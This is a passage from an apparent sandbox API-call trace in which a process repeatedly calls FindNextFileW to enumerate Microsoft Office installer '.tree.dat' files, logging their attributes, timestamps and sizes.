dwReserved1=0x0, cFileName="accessmui.msi.16.en-us.tree.dat", cAlternateFileName="ACC776~1.DAT")) returned 1 [0130.661] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd02, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmuiset.msi.16.en-us.boot.tree.dat", cAlternateFileName="ACCESS~2.DAT")) returned 1 [0130.662] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03f4a77, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03f4a77, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd04ffae9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmuiset.msi.16.en-us.tree.dat", cAlternateFileName="AC82F7~1.DAT")) returned 1 [0130.662] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x142b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcf.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="DCFX-N~1.DAT")) returned 1 [0130.662] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf6fdca2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcf.x-none.msi.16.x-none.tree.dat", cAlternateFileName="DCFX-N~2.DAT")) returned 1 [0130.662] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1afe, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcfmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="DCFMUI~1.DAT")) returned 1 [0130.662] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03f4a77, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03f4a77, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd054bfa0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcfmui.msi.16.en-us.tree.dat", cAlternateFileName="DCFMUI~2.DAT")) returned 1 [0130.662] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84404c07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="EXCELX~1.DAT")) returned 1 [0130.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcee3319e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94277, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.x-none.msi.16.x-none.tree.dat", cAlternateFileName="EXCELX~2.DAT")) returned 1 [0130.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x57ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="EXCELM~1.DAT")) returned 1 [0130.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03a857f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03a857f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd048d683, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x646e, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelmui.msi.16.en-us.tree.dat", cAlternateFileName="EXCELM~2.DAT")) returned 1 [0130.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4276, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="GROOVE~1.DAT")) returned 1 [0130.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf0e1caa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x621d, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.x-none.msi.16.x-none.tree.dat", cAlternateFileName="GROOVE~3.DAT")) returned 1 [0130.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x127a, dwReserved0=0x0, dwReserved1=0x0, cFileName="groovemui.msi.16.en-us.boot.tree.dat", cAlternateFileName="GROOVE~2.DAT")) returned 1 [0130.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03a857f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03a857f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd04b3616, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x179f, dwReserved0=0x0, dwReserved1=0x0, cFileName="groovemui.msi.16.en-us.tree.dat", cAlternateFileName="GROOVE~4.DAT")) returned 1 [0130.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x40ee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="lync.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="LYNCX-~1.DAT")) returned 1 [0130.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf2391cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf2391cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf8c794a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6af1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lync.x-none.msi.16.x-none.tree.dat", cAlternateFileName="LYNCX-~2.DAT")) returned 1 [0130.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2740, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="LYNCMU~1.DAT")) returned 1 [0130.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0335ea1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0335ea1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd03f4a77, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f36, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncmui.msi.16.en-us.tree.dat", cAlternateFileName="LYNCMU~2.DAT")) returned 1 [0130.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa06c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="office.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="OFFICE~2.DAT")) returned 1 [0130.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0335ea1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0335ea1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0440f22, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xff0cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="office.x-none.msi.16.x-none.tree.dat", cAlternateFileName="OFDF3A~1.DAT")) returned 1 [0130.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32mui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OF09D4~1.DAT")) returned 1 [0130.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0572132, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0572132, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0656ff9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32mui.msi.16.en-us.tree.dat", cAlternateFileName="OF3D36~1.DAT")) returned 1 [0130.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b8fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16.x-none.boot.tree.dat", cAlternateFileName="OFFICE~4.DAT")) returned 1 [0130.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfc34f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfc34f75, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0335ea1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x153aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16.x-none.tree.dat", cAlternateFileName="OFDFB3~1.DAT")) returned 1 [0130.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3334d, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OFFICE~1.DAT")) returned 1 [0130.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd054bfa0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd054bfa0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd060ab93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36b17, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16.en-us.tree.dat", cAlternateFileName="OF3E9E~1.DAT")) returned 1 [0130.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemuiset.msi.16.en-us.boot.tree.dat", cAlternateFileName="OFFICE~3.DAT")) returned 1 [0130.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd054bfa0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd054bfa0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd06c975a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemuiset.msi.16.en-us.tree.dat", cAlternateFileName="OFCB7C~1.DAT")) returned 1 [0130.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenote.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="ONENOT~2.DAT")) returned 1 [0130.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfa45126, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfa45126, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0251012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c425, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenote.x-none.msi.16.x-none.tree.dat", cAlternateFileName="ONENOT~3.DAT")) returned 1 [0130.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenotemui.msi.16.en-us.boot.tree.dat", cAlternateFileName="ONENOT~1.DAT")) returned 1 [0130.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd048d683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd048d683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0572132, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenotemui.msi.16.en-us.tree.dat", cAlternateFileName="ONENOT~4.DAT")) returned 1 [0130.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84404c07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x136c, dwReserved0=0x0, dwReserved1=0x0, cFileName="osm.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="OSMX-N~1.DAT")) returned 1 [0130.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfa45126, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfa45126, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd02e99f0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x136c, dwReserved0=0x0, dwReserved1=0x0, cFileName="osm.x-none.msi.16.x-none.tree.dat", cAlternateFileName="OSMX-N~2.DAT")) returned 1 [0130.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OSMMUI~1.DAT")) returned 1 [0130.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd06c975a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd06c975a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd089348e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x134e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmmui.msi.16.en-us.tree.dat", cAlternateFileName="OSMMUI~2.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmux.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="OSMUXX~1.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcfc813cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmux.x-none.msi.16.x-none.tree.dat", cAlternateFileName="OSMUXX~2.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmuxmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OSMUXM~1.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd06c975a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd06c975a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd08df8b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x263d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmuxmui.msi.16.en-us.tree.dat", cAlternateFileName="OSMUXM~2.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="OUTLOO~1.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcfa915dd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x913cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.x-none.msi.16.x-none.tree.dat", cAlternateFileName="OUTLOO~3.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa1, 